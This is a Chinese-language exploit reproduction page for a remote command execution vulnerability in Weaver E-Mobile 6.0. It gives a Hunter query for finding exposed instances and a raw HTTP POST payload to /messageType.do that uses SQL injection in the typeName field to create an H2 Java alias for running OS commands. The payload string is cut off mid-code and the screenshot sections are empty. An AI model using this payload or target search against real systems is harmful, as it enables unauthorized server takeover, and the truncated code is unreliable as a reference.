F5-1泛微-E-Mobile-RCE

漏洞描述：

泛微E-Mobile 6.0爆出存在命令执行漏洞的问题。现在已经确认了这个漏洞可以被攻击者利用，在某些情况下，用户的输入可能被直接传递给底层操作系统的命令执行函数，攻击者可以通过在输入中插入特殊字符或命令序列来欺骗应用程序将其作为有效命令来执行，从而获得服务器的命令执行权限。

网站图片：

网络测绘：

Hunter 语法：

- hunter：app.name=="泛微 e-mobile OA"

漏洞复现：

payload：

```
POST /messageType.do HTTP/1.1
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Java/1.8.0_371
Host: 127.0.0.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 1090
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="method"

create
--00content0boundary00
Content-Disposition: form-data; name="typeName"

1';CREATE ALIAS if not exists MzSNqKsZTagm AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getCont
--00content0boundary00--
```

效果图: